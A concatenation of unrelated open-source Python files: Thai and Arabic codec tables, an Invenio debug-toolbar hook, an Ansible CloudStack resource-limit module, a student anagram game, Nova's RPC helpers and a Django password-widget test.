class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='tis-620',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
### Decoding Table
decoding_table = (
u'\x00' # 0x00 -> NULL
u'\x01' # 0x01 -> START OF HEADING
u'\x02' # 0x02 -> START OF TEXT
u'\x03' # 0x03 -> END OF TEXT
u'\x04' # 0x04 -> END OF TRANSMISSION
u'\x05' # 0x05 -> ENQUIRY
u'\x06' # 0x06 -> ACKNOWLEDGE
u'\x07' # 0x07 -> BELL
u'\x08' # 0x08 -> BACKSPACE
u'\t' # 0x09 -> HORIZONTAL TABULATION
u'\n' # 0x0A -> LINE FEED
u'\x0b' # 0x0B -> VERTICAL TABULATION
u'\x0c' # 0x0C -> FORM FEED
u'\r' # 0x0D -> CARRIAGE RETURN
u'\x0e' # 0x0E -> SHIFT OUT
u'\x0f' # 0x0F -> SHIFT IN
u'\x10' # 0x10 -> DATA LINK ESCAPE
u'\x11' # 0x11 -> DEVICE CONTROL ONE
u'\x12' # 0x12 -> DEVICE CONTROL TWO
u'\x13' # 0x13 -> DEVICE CONTROL THREE
u'\x14' # 0x14 -> DEVICE CONTROL FOUR
u'\x15' # 0x15 -> NEGATIVE ACKNOWLEDGE
u'\x16' # 0x16 -> SYNCHRONOUS IDLE
u'\x17' # 0x17 -> END OF TRANSMISSION BLOCK
u'\x18' # 0x18 -> CANCEL
u'\x19' # 0x19 -> END OF MEDIUM
u'\x1a' # 0x1A -> SUBSTITUTE
u'\x1b' # 0x1B -> ESCAPE
u'\x1c' # 0x1C -> FILE SEPARATOR
u'\x1d' # 0x1D -> GROUP SEPARATOR
u'\x1e' # 0x1E -> RECORD SEPARATOR
u'\x1f' # 0x1F -> UNIT SEPARATOR
u' ' # 0x20 -> SPACE
u'!' # 0x21 -> EXCLAMATION MARK
u'"' # 0x22 -> QUOTATION MARK
u'#' # 0x23 -> NUMBER SIGN
u'$' # 0x24 -> DOLLAR SIGN
u'%' # 0x25 -> PERCENT SIGN
u'&' # 0x26 -> AMPERSAND
u"'" # 0x27 -> APOSTROPHE
u'(' # 0x28 -> LEFT PARENTHESIS
u')' # 0x29 -> RIGHT PARENTHESIS
u'*' # 0x2A -> ASTERISK
u'+' # 0x2B -> PLUS SIGN
u',' # 0x2C -> COMMA
u'-' # 0x2D -> HYPHEN-MINUS
u'.' # 0x2E -> FULL STOP
u'/' # 0x2F -> SOLIDUS
u'0' # 0x30 -> DIGIT ZERO
u'1' # 0x31 -> DIGIT ONE
u'2' # 0x32 -> DIGIT TWO
u'3' # 0x33 -> DIGIT THREE
u'4' # 0x34 -> DIGIT FOUR
u'5' # 0x35 -> DIGIT FIVE
u'6' # 0x36 -> DIGIT SIX
u'7' # 0x37 -> DIGIT SEVEN
u'8' # 0x38 -> DIGIT EIGHT
u'9' # 0x39 -> DIGIT NINE
u':' # 0x3A -> COLON
u';' # 0x3B -> SEMICOLON
u'<' # 0x3C -> LESS-THAN SIGN
u'=' # 0x3D -> EQUALS SIGN
u'>' # 0x3E -> GREATER-THAN SIGN
u'?' # 0x3F -> QUESTION MARK
u'@' # 0x40 -> COMMERCIAL AT
u'A' # 0x41 -> LATIN CAPITAL LETTER A
u'B' # 0x42 -> LATIN CAPITAL LETTER B
u'C' # 0x43 -> LATIN CAPITAL LETTER C
u'D' # 0x44 -> LATIN CAPITAL LETTER D
u'E' # 0x45 -> LATIN CAPITAL LETTER E
u'F' # 0x46 -> LATIN CAPITAL LETTER F
u'G' # 0x47 -> LATIN CAPITAL LETTER G
u'H' # 0x48 -> LATIN CAPITAL LETTER H
u'I' # 0x49 -> LATIN CAPITAL LETTER I
u'J' # 0x4A -> LATIN CAPITAL LETTER J
u'K' # 0x4B -> LATIN CAPITAL LETTER K
u'L' # 0x4C -> LATIN CAPITAL LETTER L
u'M' # 0x4D -> LATIN CAPITAL LETTER M
u'N' # 0x4E -> LATIN CAPITAL LETTER N
u'O' # 0x4F -> LATIN CAPITAL LETTER O
u'P' # 0x50 -> LATIN CAPITAL LETTER P
u'Q' # 0x51 -> LATIN CAPITAL LETTER Q
u'R' # 0x52 -> LATIN CAPITAL LETTER R
u'S' # 0x53 -> LATIN CAPITAL LETTER S
u'T' # 0x54 -> LATIN CAPITAL LETTER T
u'U' # 0x55 -> LATIN CAPITAL LETTER U
u'V' # 0x56 -> LATIN CAPITAL LETTER V
u'W' # 0x57 -> LATIN CAPITAL LETTER W
u'X' # 0x58 -> LATIN CAPITAL LETTER X
u'Y' # 0x59 -> LATIN CAPITAL LETTER Y
u'Z' # 0x5A -> LATIN CAPITAL LETTER Z
u'[' # 0x5B -> LEFT SQUARE BRACKET
u'\\' # 0x5C -> REVERSE SOLIDUS
u']' # 0x5D -> RIGHT SQUARE BRACKET
u'^' # 0x5E -> CIRCUMFLEX ACCENT
u'_' # 0x5F -> LOW LINE
u'`' # 0x60 -> GRAVE ACCENT
u'a' # 0x61 -> LATIN SMALL LETTER A
u'b' # 0x62 -> LATIN SMALL LETTER B
u'c' # 0x63 -> LATIN SMALL LETTER C
u'd' # 0x64 -> LATIN SMALL LETTER D
u'e' # 0x65 -> LATIN SMALL LETTER E
u'f' # 0x66 -> LATIN SMALL LETTER F
u'g' # 0x67 -> LATIN SMALL LETTER G
u'h' # 0x68 -> LATIN SMALL LETTER H
u'i' # 0x69 -> LATIN SMALL LETTER I
u'j' # 0x6A -> LATIN SMALL LETTER J
u'k' # 0x6B -> LATIN SMALL LETTER K
u'l' # 0x6C -> LATIN SMALL LETTER L
u'm' # 0x6D -> LATIN SMALL LETTER M
u'n' # 0x6E -> LATIN SMALL LETTER N
u'o' # 0x6F -> LATIN SMALL LETTER O
u'p' # 0x70 -> LATIN SMALL LETTER P
u'q' # 0x71 -> LATIN SMALL LETTER Q
u'r' # 0x72 -> LATIN SMALL LETTER R
u's' # 0x73 -> LATIN SMALL LETTER S
u't' # 0x74 -> LATIN SMALL LETTER T
u'u' # 0x75 -> LATIN SMALL LETTER U
u'v' # 0x76 -> LATIN SMALL LETTER V
u'w' # 0x77 -> LATIN SMALL LETTER W
u'x' # 0x78 -> LATIN SMALL LETTER X
u'y' # 0x79 -> LATIN SMALL LETTER Y
u'z' # 0x7A -> LATIN SMALL LETTER Z
u'{' # 0x7B -> LEFT CURLY BRACKET
u'|' # 0x7C -> VERTICAL LINE
u'}' # 0x7D -> RIGHT CURLY BRACKET
u'~' # 0x7E -> TILDE
u'\x7f' # 0x7F -> DELETE
u'\x80' # 0x80 -> <control>
u'\x81' # 0x81 -> <control>
u'\x82' # 0x82 -> <control>
u'\x83' # 0x83 -> <control>
u'\x84' # 0x84 -> <control>
u'\x85' # 0x85 -> <control>
u'\x86' # 0x86 -> <control>
u'\x87' # 0x87 -> <control>
u'\x88' # 0x88 -> <control>
u'\x89' # 0x89 -> <control>
u'\x8a' # 0x8A -> <control>
u'\x8b' # 0x8B -> <control>
u'\x8c' # 0x8C -> <control>
u'\x8d' # 0x8D -> <control>
u'\x8e' # 0x8E -> <control>
u'\x8f' # 0x8F -> <control>
u'\x90' # 0x90 -> <control>
u'\x91' # 0x91 -> <control>
u'\x92' # 0x92 -> <control>
u'\x93' # 0x93 -> <control>
u'\x94' # 0x94 -> <control>
u'\x95' # 0x95 -> <control>
u'\x96' # 0x96 -> <control>
u'\x97' # 0x97 -> <control>
u'\x98' # 0x98 -> <control>
u'\x99' # 0x99 -> <control>
u'\x9a' # 0x9A -> <control>
u'\x9b' # 0x9B -> <control>
u'\x9c' # 0x9C -> <control>
u'\x9d' # 0x9D -> <control>
u'\x9e' # 0x9E -> <control>
u'\x9f' # 0x9F -> <control>
u'\ufffe'
u'\u0e01' # 0xA1 -> THAI CHARACTER KO KAI
u'\u0e02' # 0xA2 -> THAI CHARACTER KHO KHAI
u'\u0e03' # 0xA3 -> THAI CHARACTER KHO KHUAT
u'\u0e04' # 0xA4 -> THAI CHARACTER KHO KHWAI
u'\u0e05' # 0xA5 -> THAI CHARACTER KHO KHON
u'\u0e06' # 0xA6 -> THAI CHARACTER KHO RAKHANG
u'\u0e07' # 0xA7 -> THAI CHARACTER NGO NGU
u'\u0e08' # 0xA8 -> THAI CHARACTER CHO CHAN
u'\u0e09' # 0xA9 -> THAI CHARACTER CHO CHING
u'\u0e0a' # 0xAA -> THAI CHARACTER CHO CHANG
u'\u0e0b' # 0xAB -> THAI CHARACTER SO SO
u'\u0e0c' # 0xAC -> THAI CHARACTER CHO CHOE
u'\u0e0d' # 0xAD -> THAI CHARACTER YO YING
u'\u0e0e' # 0xAE -> THAI CHARACTER DO CHADA
u'\u0e0f' # 0xAF -> THAI CHARACTER TO PATAK
u'\u0e10' # 0xB0 -> THAI CHARACTER THO THAN
u'\u0e11' # 0xB1 -> THAI CHARACTER THO NANGMONTHO
u'\u0e12' # 0xB2 -> THAI CHARACTER THO PHUTHAO
u'\u0e13' # 0xB3 -> THAI CHARACTER NO NEN
u'\u0e14' # 0xB4 -> THAI CHARACTER DO DEK
u'\u0e15' # 0xB5 -> THAI CHARACTER TO TAO
u'\u0e16' # 0xB6 -> THAI CHARACTER THO THUNG
u'\u0e17' # 0xB7 -> THAI CHARACTER THO THAHAN
u'\u0e18' # 0xB8 -> THAI CHARACTER THO THONG
u'\u0e19' # 0xB9 -> THAI CHARACTER NO NU
u'\u0e1a' # 0xBA -> THAI CHARACTER BO BAIMAI
u'\u0e1b' # 0xBB -> THAI CHARACTER PO PLA
u'\u0e1c' # 0xBC -> THAI CHARACTER PHO PHUNG
u'\u0e1d' # 0xBD -> THAI CHARACTER FO FA
u'\u0e1e' # 0xBE -> THAI CHARACTER PHO PHAN
u'\u0e1f' # 0xBF -> THAI CHARACTER FO FAN
u'\u0e20' # 0xC0 -> THAI CHARACTER PHO SAMPHAO
u'\u0e21' # 0xC1 -> THAI CHARACTER MO MA
u'\u0e22' # 0xC2 -> THAI CHARACTER YO YAK
u'\u0e23' # 0xC3 -> THAI CHARACTER RO RUA
u'\u0e24' # 0xC4 -> THAI CHARACTER RU
u'\u0e25' # 0xC5 -> THAI CHARACTER LO LING
u'\u0e26' # 0xC6 -> THAI CHARACTER LU
u'\u0e27' # 0xC7 -> THAI CHARACTER WO WAEN
u'\u0e28' # 0xC8 -> THAI CHARACTER SO SALA
u'\u0e29' # 0xC9 -> THAI CHARACTER SO RUSI
u'\u0e2a' # 0xCA -> THAI CHARACTER SO SUA
u'\u0e2b' # 0xCB -> THAI CHARACTER HO HIP
u'\u0e2c' # 0xCC -> THAI CHARACTER LO CHULA
u'\u0e2d' # 0xCD -> THAI CHARACTER O ANG
u'\u0e2e' # 0xCE -> THAI CHARACTER HO NOKHUK
u'\u0e2f' # 0xCF -> THAI CHARACTER PAIYANNOI
u'\u0e30' # 0xD0 -> THAI CHARACTER SARA A
u'\u0e31' # 0xD1 -> THAI CHARACTER MAI HAN-AKAT
u'\u0e32' # 0xD2 -> THAI CHARACTER SARA AA
u'\u0e33' # 0xD3 -> THAI CHARACTER SARA AM
u'\u0e34' # 0xD4 -> THAI CHARACTER SARA I
u'\u0e35' # 0xD5 -> THAI CHARACTER SARA II
u'\u0e36' # 0xD6 -> THAI CHARACTER SARA UE
u'\u0e37' # 0xD7 -> THAI CHARACTER SARA UEE
u'\u0e38' # 0xD8 -> THAI CHARACTER SARA U
u'\u0e39' # 0xD9 -> THAI CHARACTER SARA UU
u'\u0e3a' # 0xDA -> THAI CHARACTER PHINTHU
u'\ufffe'
u'\ufffe'
u'\ufffe'
u'\ufffe'
u'\u0e3f' # 0xDF -> THAI CURRENCY SYMBOL BAHT
u'\u0e40' # 0xE0 -> THAI CHARACTER SARA E
u'\u0e41' # 0xE1 -> THAI CHARACTER SARA AE
u'\u0e42' # 0xE2 -> THAI CHARACTER SARA O
u'\u0e43' # 0xE3 -> THAI CHARACTER SARA AI MAIMUAN
u'\u0e44' # 0xE4 -> THAI CHARACTER SARA AI MAIMALAI
u'\u0e45' # 0xE5 -> THAI CHARACTER LAKKHANGYAO
u'\u0e46' # 0xE6 -> THAI CHARACTER MAIYAMOK
u'\u0e47' # 0xE7 -> THAI CHARACTER MAITAIKHU
u'\u0e48' # 0xE8 -> THAI CHARACTER MAI EK
u'\u0e49' # 0xE9 -> THAI CHARACTER MAI THO
u'\u0e4a' # 0xEA -> THAI CHARACTER MAI TRI
u'\u0e4b' # 0xEB -> THAI CHARACTER MAI CHATTAWA
u'\u0e4c' # 0xEC -> THAI CHARACTER THANTHAKHAT
u'\u0e4d' # 0xED -> THAI CHARACTER NIKHAHIT
u'\u0e4e' # 0xEE -> THAI CHARACTER YAMAKKAN
u'\u0e4f' # 0xEF -> THAI CHARACTER FONGMAN
u'\u0e50' # 0xF0 -> THAI DIGIT ZERO
u'\u0e51' # 0xF1 -> THAI DIGIT ONE
u'\u0e52' # 0xF2 -> THAI DIGIT TWO
u'\u0e53' # 0xF3 -> THAI DIGIT THREE
u'\u0e54' # 0xF4 -> THAI DIGIT FOUR
u'\u0e55' # 0xF5 -> THAI DIGIT FIVE
u'\u0e56' # 0xF6 -> THAI DIGIT SIX
u'\u0e57' # 0xF7 -> THAI DIGIT SEVEN
u'\u0e58' # 0xF8 -> THAI DIGIT EIGHT
u'\u0e59' # 0xF9 -> THAI DIGIT NINE
u'\u0e5a' # 0xFA -> THAI CHARACTER ANGKHANKHU
u'\u0e5b' # 0xFB -> THAI CHARACTER KHOMUT
u'\ufffe'
u'\ufffe'
u'\ufffe'
u'\ufffe'
)
### Encoding table
encoding_table=codecs.charmap_build(decoding_table)
| gpl-3.0 |
SDSG-Invenio/invenio | invenio/ext/debug_toolbar/__init__.py | 22 | 2436 | # -*- coding: utf-8 -*-
#
# This file is part of Invenio.
# Copyright (C) 2013, 2014, 2015 CERN.
#
# Invenio is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Invenio is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Invenio; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
"""
Debug Toolbar Extension.
Configuration
-------------
The toolbar supports several configuration options:
==================================== ===================================== ==========================
Name Description Default
==================================== ===================================== ==========================
``DEBUG_TB_ENABLED`` Enable the toolbar? ``app.debug``
``DEBUG_TB_HOSTS`` Whitelist of hosts to display toolbar any host
``DEBUG_TB_INTERCEPT_REDIRECTS`` Should intercept redirects? ``True``
``DEBUG_TB_PANELS`` List of module/class names of panels enable all built-in panels
``DEBUG_TB_PROFILER_ENABLED`` Enable the profiler on all requests ``False``, user-enabled
``DEBUG_TB_TEMPLATE_EDITOR_ENABLED`` Enable the template editor ``False``
==================================== ===================================== ==========================
For more information see http://flask-debugtoolbar.readthedocs.org/en/latest/
"""
def setup_app(app):
"""Setup Flask with the DebugToolbar application."""
# Enable Flask Debug Toolbar early to also catch HTTPS redirects
if app.debug and app.config.get('DEBUG_TB_ENABLED', app.debug):
try:
from flask_debugtoolbar import module, DebugToolbarExtension
module.static_folder = 'static'
DebugToolbarExtension(app)
except ImportError:
app.logger.exception("Flask-DebugToolbar is missing")
return app
| gpl-2.0 |
drawks/ansible | lib/ansible/modules/cloud/cloudstack/cs_resourcelimit.py | 25 | 5486 | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016, René Moser <mail@renemoser.net>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['stableinterface'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: cs_resourcelimit
short_description: Manages resource limits on Apache CloudStack based clouds.
description:
- Manage limits of resources for domains, accounts and projects.
version_added: '2.1'
author: René Moser (@resmo)
options:
resource_type:
description:
- Type of the resource.
type: str
required: true
choices:
- instance
- ip_address
- volume
- snapshot
- template
- network
- vpc
- cpu
- memory
- primary_storage
- secondary_storage
aliases: [ type ]
limit:
description:
- Maximum number of the resource.
- Default is unlimited C(-1).
type: int
default: -1
aliases: [ max ]
domain:
description:
- Domain the resource is related to.
type: str
account:
description:
- Account the resource is related to.
type: str
project:
description:
- Name of the project the resource is related to.
type: str
extends_documentation_fragment: cloudstack
'''
EXAMPLES = '''
- name: Update a resource limit for instances of a domain
cs_resourcelimit:
type: instance
limit: 10
domain: customers
delegate_to: localhost
- name: Update a resource limit for instances of an account
cs_resourcelimit:
type: instance
limit: 12
account: moserre
domain: customers
delegate_to: localhost
'''
RETURN = '''
---
recource_type:
description: Type of the resource
returned: success
type: str
sample: instance
limit:
description: Maximum number of the resource.
returned: success
type: int
sample: -1
domain:
description: Domain the resource is related to.
returned: success
type: str
sample: example domain
account:
description: Account the resource is related to.
returned: success
type: str
sample: example account
project:
description: Project the resource is related to.
returned: success
type: str
sample: example project
'''
# import cloudstack common
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.cloudstack import (
AnsibleCloudStack,
cs_required_together,
cs_argument_spec
)
RESOURCE_TYPES = {
'instance': 0,
'ip_address': 1,
'volume': 2,
'snapshot': 3,
'template': 4,
'network': 6,
'vpc': 7,
'cpu': 8,
'memory': 9,
'primary_storage': 10,
'secondary_storage': 11,
}
class AnsibleCloudStackResourceLimit(AnsibleCloudStack):
def __init__(self, module):
super(AnsibleCloudStackResourceLimit, self).__init__(module)
self.returns = {
'max': 'limit',
}
def get_resource_type(self):
resource_type = self.module.params.get('resource_type')
return RESOURCE_TYPES.get(resource_type)
def get_resource_limit(self):
args = {
'account': self.get_account(key='name'),
'domainid': self.get_domain(key='id'),
'projectid': self.get_project(key='id'),
'resourcetype': self.get_resource_type()
}
resource_limit = self.query_api('listResourceLimits', **args)
if resource_limit:
if 'limit' in resource_limit['resourcelimit'][0]:
resource_limit['resourcelimit'][0]['limit'] = int(resource_limit['resourcelimit'][0])
return resource_limit['resourcelimit'][0]
self.module.fail_json(msg="Resource limit type '%s' not found." % self.module.params.get('resource_type'))
def update_resource_limit(self):
resource_limit = self.get_resource_limit()
args = {
'account': self.get_account(key='name'),
'domainid': self.get_domain(key='id'),
'projectid': self.get_project(key='id'),
'resourcetype': self.get_resource_type(),
'max': self.module.params.get('limit', -1)
}
if self.has_changed(args, resource_limit):
self.result['changed'] = True
if not self.module.check_mode:
res = self.query_api('updateResourceLimit', **args)
resource_limit = res['resourcelimit']
return resource_limit
def get_result(self, resource_limit):
self.result = super(AnsibleCloudStackResourceLimit, self).get_result(resource_limit)
self.result['resource_type'] = self.module.params.get('resource_type')
return self.result
def main():
argument_spec = cs_argument_spec()
argument_spec.update(dict(
resource_type=dict(required=True, choices=RESOURCE_TYPES.keys(), aliases=['type']),
limit=dict(default=-1, aliases=['max'], type='int'),
domain=dict(),
account=dict(),
project=dict(),
))
module = AnsibleModule(
argument_spec=argument_spec,
required_together=cs_required_together(),
supports_check_mode=True
)
acs_resource_limit = AnsibleCloudStackResourceLimit(module)
resource_limit = acs_resource_limit.update_resource_limit()
result = acs_resource_limit.get_result(resource_limit)
module.exit_json(**result)
if __name__ == '__main__':
main()
| gpl-3.0 |
Mariaanisimova/pythonintask | IVTa/2014/EGOROV_V_I/task_8_8.py | 1 | 2933 | # Задача 8. Вариант 8
'''
Доработайте игру "Анаграммы" (см. М.Доусон
Программируем на Python. Гл.4) так, чтобы к
каждому слову полагалась подсказка. Игрок должен
получать право на подсказку в том случае, если
у него нет никаких предположений. Разработайте
систему начисления очков, по которой бы игроки,
отгадавшие слово без подсказки, получали больше
тех, кто запросил подсказку.
'''
# Egorov V. I.
# 15.05.2016
from random import shuffle, choice
fine = 0
score = 0
attempts = 3
cont = 1
while cont == 1 and attempts > 0:
def score_print(score):
print ('У вас', score, 'очков')
print ('У вас', attempts, 'попытки')
words_and_info = (
('Венера', 'Самая горячая планета Солнечной системы.'),
('Меркурий', 'Эта планета самая ближняя к Солнцу'),
('Юпитер', 'Самая большая планета Солнечной системы'),
('Плутон', 'Самая маленькая планета Солнечной системы'),
('Земля', 'Существование жизни на этой планете не оставляет никаких сомнений'),
('Сатурн', 'Эта планета имеет ярко выраженную систему колец'),
('Марс', 'На самом деле на этой плане есть вода'),
('Уран', 'Кажется, этой планете не сообщили, что обращаться вокруг своей оси нужно с востока на запад'),
('Нептун', 'Злые языки говорят, что именно эта планета - самая дальняя от Солнца в её системе.')
)
choiced = choice(words_and_info)
word = list(choiced[0].lower())
shuffle(word)
word = ''.join(word)
print('Отгадай планету Солнечной системы -', word)
print('Наберите "подсказка", чтобы получить совет')
score_print(score)
fine=0
while True and attempts > 0:
gues = input('> ').lower()
if gues.lower() == 'подсказка':
print('Подскaзка: ', choiced[1])
fine=1
score_print(score)
continue
elif gues.lower() == choiced[0].lower():
print('Правильно -', choiced[0])
score += 2 - fine
score_print(score)
break
else:
print('Не правильно')
attempts -= 1
score_print(score)
yepnope=input('Продолжить?')
if yepnope == 'да' or yepnope == 'Да':
cont = 1
else:
cont = 0
input('Нажмите ENTER...')
| apache-2.0 |
JioCloud/nova | nova/rpc.py | 63 | 4328 | # Copyright 2013 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
__all__ = [
'init',
'cleanup',
'set_defaults',
'add_extra_exmods',
'clear_extra_exmods',
'get_allowed_exmods',
'RequestContextSerializer',
'get_client',
'get_server',
'get_notifier',
'TRANSPORT_ALIASES',
]
from oslo_config import cfg
import oslo_messaging as messaging
from oslo_serialization import jsonutils
import nova.context
import nova.exception
CONF = cfg.CONF
TRANSPORT = None
NOTIFIER = None
ALLOWED_EXMODS = [
nova.exception.__name__,
]
EXTRA_EXMODS = []
# NOTE(markmc): The nova.openstack.common.rpc entries are for backwards compat
# with Havana rpc_backend configuration values. The nova.rpc entries are for
# compat with Essex values.
TRANSPORT_ALIASES = {
'nova.openstack.common.rpc.impl_kombu': 'rabbit',
'nova.openstack.common.rpc.impl_qpid': 'qpid',
'nova.openstack.common.rpc.impl_zmq': 'zmq',
'nova.rpc.impl_kombu': 'rabbit',
'nova.rpc.impl_qpid': 'qpid',
'nova.rpc.impl_zmq': 'zmq',
}
def init(conf):
global TRANSPORT, NOTIFIER
exmods = get_allowed_exmods()
TRANSPORT = messaging.get_transport(conf,
allowed_remote_exmods=exmods,
aliases=TRANSPORT_ALIASES)
serializer = RequestContextSerializer(JsonPayloadSerializer())
NOTIFIER = messaging.Notifier(TRANSPORT, serializer=serializer)
def cleanup():
global TRANSPORT, NOTIFIER
assert TRANSPORT is not None
assert NOTIFIER is not None
TRANSPORT.cleanup()
TRANSPORT = NOTIFIER = None
def set_defaults(control_exchange):
messaging.set_transport_defaults(control_exchange)
def add_extra_exmods(*args):
EXTRA_EXMODS.extend(args)
def clear_extra_exmods():
del EXTRA_EXMODS[:]
def get_allowed_exmods():
return ALLOWED_EXMODS + EXTRA_EXMODS
class JsonPayloadSerializer(messaging.NoOpSerializer):
@staticmethod
def serialize_entity(context, entity):
return jsonutils.to_primitive(entity, convert_instances=True)
class RequestContextSerializer(messaging.Serializer):
def __init__(self, base):
self._base = base
def serialize_entity(self, context, entity):
if not self._base:
return entity
return self._base.serialize_entity(context, entity)
def deserialize_entity(self, context, entity):
if not self._base:
return entity
return self._base.deserialize_entity(context, entity)
def serialize_context(self, context):
return context.to_dict()
def deserialize_context(self, context):
return nova.context.RequestContext.from_dict(context)
def get_transport_url(url_str=None):
return messaging.TransportURL.parse(CONF, url_str, TRANSPORT_ALIASES)
def get_client(target, version_cap=None, serializer=None):
assert TRANSPORT is not None
serializer = RequestContextSerializer(serializer)
return messaging.RPCClient(TRANSPORT,
target,
version_cap=version_cap,
serializer=serializer)
def get_server(target, endpoints, serializer=None):
assert TRANSPORT is not None
serializer = RequestContextSerializer(serializer)
return messaging.get_rpc_server(TRANSPORT,
target,
endpoints,
executor='eventlet',
serializer=serializer)
def get_notifier(service, host=None, publisher_id=None):
assert NOTIFIER is not None
if not publisher_id:
publisher_id = "%s.%s" % (service, host or CONF.host)
return NOTIFIER.prepare(publisher_id=publisher_id)
| apache-2.0 |
alexmorozov/django | tests/forms_tests/widget_tests/test_passwordinput.py | 247 | 1052 | from django.forms import PasswordInput
from .base import WidgetTest
class PasswordInputTest(WidgetTest):
widget = PasswordInput()
def test_render(self):
self.check_html(self.widget, 'password', '', html='<input type="password" name="password" />')
def test_render_ignore_value(self):
self.check_html(self.widget, 'password', 'secret', html='<input type="password" name="password" />')
def test_render_value_true(self):
"""
The render_value argument lets you specify whether the widget should
render its value. For security reasons, this is off by default.
"""
widget = PasswordInput(render_value=True)
self.check_html(widget, 'password', '', html='<input type="password" name="password" />')
self.check_html(widget, 'password', None, html='<input type="password" name="password" />')
self.check_html(
widget, 'password', 'test@example.com',
html='<input type="password" name="password" value="test@example.com" />',
)
| bsd-3-clause |
pwoodworth/intellij-community | python/lib/Lib/encodings/cp1256.py | 593 | 13070 | """ Python Character Mapping Codec cp1256 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1256.TXT' with gencodec.py.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_table)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_table)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='cp1256',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
### Decoding Table
decoding_table = (
u'\x00' # 0x00 -> NULL
u'\x01' # 0x01 -> START OF HEADING
u'\x02' # 0x02 -> START OF TEXT
u'\x03' # 0x03 -> END OF TEXT
u'\x04' # 0x04 -> END OF TRANSMISSION
u'\x05' # 0x05 -> ENQUIRY
u'\x06' # 0x06 -> ACKNOWLEDGE
u'\x07' # 0x07 -> BELL
u'\x08' # 0x08 -> BACKSPACE
u'\t' # 0x09 -> HORIZONTAL TABULATION
u'\n' # 0x0A -> LINE FEED
u'\x0b' # 0x0B -> VERTICAL TABULATION
u'\x0c' # 0x0C -> FORM FEED
u'\r' # 0x0D -> CARRIAGE RETURN
u'\x0e' # 0x0E -> SHIFT OUT
u'\x0f' # 0x0F -> SHIFT IN
u'\x10' # 0x10 -> DATA LINK ESCAPE
u'\x11' # 0x11 -> DEVICE CONTROL ONE
u'\x12' # 0x12 -> DEVICE CONTROL TWO
u'\x13' # 0x13 -> DEVICE CONTROL THREE
u'\x14' # 0x14 -> DEVICE CONTROL FOUR
u'\x15' # 0x15 -> NEGATIVE ACKNOWLEDGE
u'\x16' # 0x16 -> SYNCHRONOUS IDLE
u'\x17' # 0x17 -> END OF TRANSMISSION BLOCK
u'\x18' # 0x18 -> CANCEL
u'\x19' # 0x19 -> END OF MEDIUM
u'\x1a' # 0x1A -> SUBSTITUTE
u'\x1b' # 0x1B -> ESCAPE
u'\x1c' # 0x1C -> FILE SEPARATOR
u'\x1d' # 0x1D -> GROUP SEPARATOR
u'\x1e' # 0x1E -> RECORD SEPARATOR
u'\x1f' # 0x1F -> UNIT SEPARATOR
u' ' # 0x20 -> SPACE
u'!' # 0x21 -> EXCLAMATION MARK
u'"' # 0x22 -> QUOTATION MARK
u'#' # 0x23 -> NUMBER SIGN
u'$' # 0x24 -> DOLLAR SIGN
u'%' # 0x25 -> PERCENT SIGN
u'&' # 0x26 -> AMPERSAND
u"'" # 0x27 -> APOSTROPHE
u'(' # 0x28 -> LEFT PARENTHESIS
u')' # 0x29 -> RIGHT PARENTHESIS
u'*' # 0x2A -> ASTERISK
u'+' # 0x2B -> PLUS SIGN
u',' # 0x2C -> COMMA
u'-' # 0x2D -> HYPHEN-MINUS
u'.' # 0x2E -> FULL STOP
u'/' # 0x2F -> SOLIDUS
u'0' # 0x30 -> DIGIT ZERO
u'1' # 0x31 -> DIGIT ONE
u'2' # 0x32 -> DIGIT TWO
u'3' # 0x33 -> DIGIT THREE
u'4' # 0x34 -> DIGIT FOUR
u'5' # 0x35 -> DIGIT FIVE
u'6' # 0x36 -> DIGIT SIX
u'7' # 0x37 -> DIGIT SEVEN
u'8' # 0x38 -> DIGIT EIGHT
u'9' # 0x39 -> DIGIT NINE
u':' # 0x3A -> COLON
u';' # 0x3B -> SEMICOLON
u'<' # 0x3C -> LESS-THAN SIGN
u'=' # 0x3D -> EQUALS SIGN
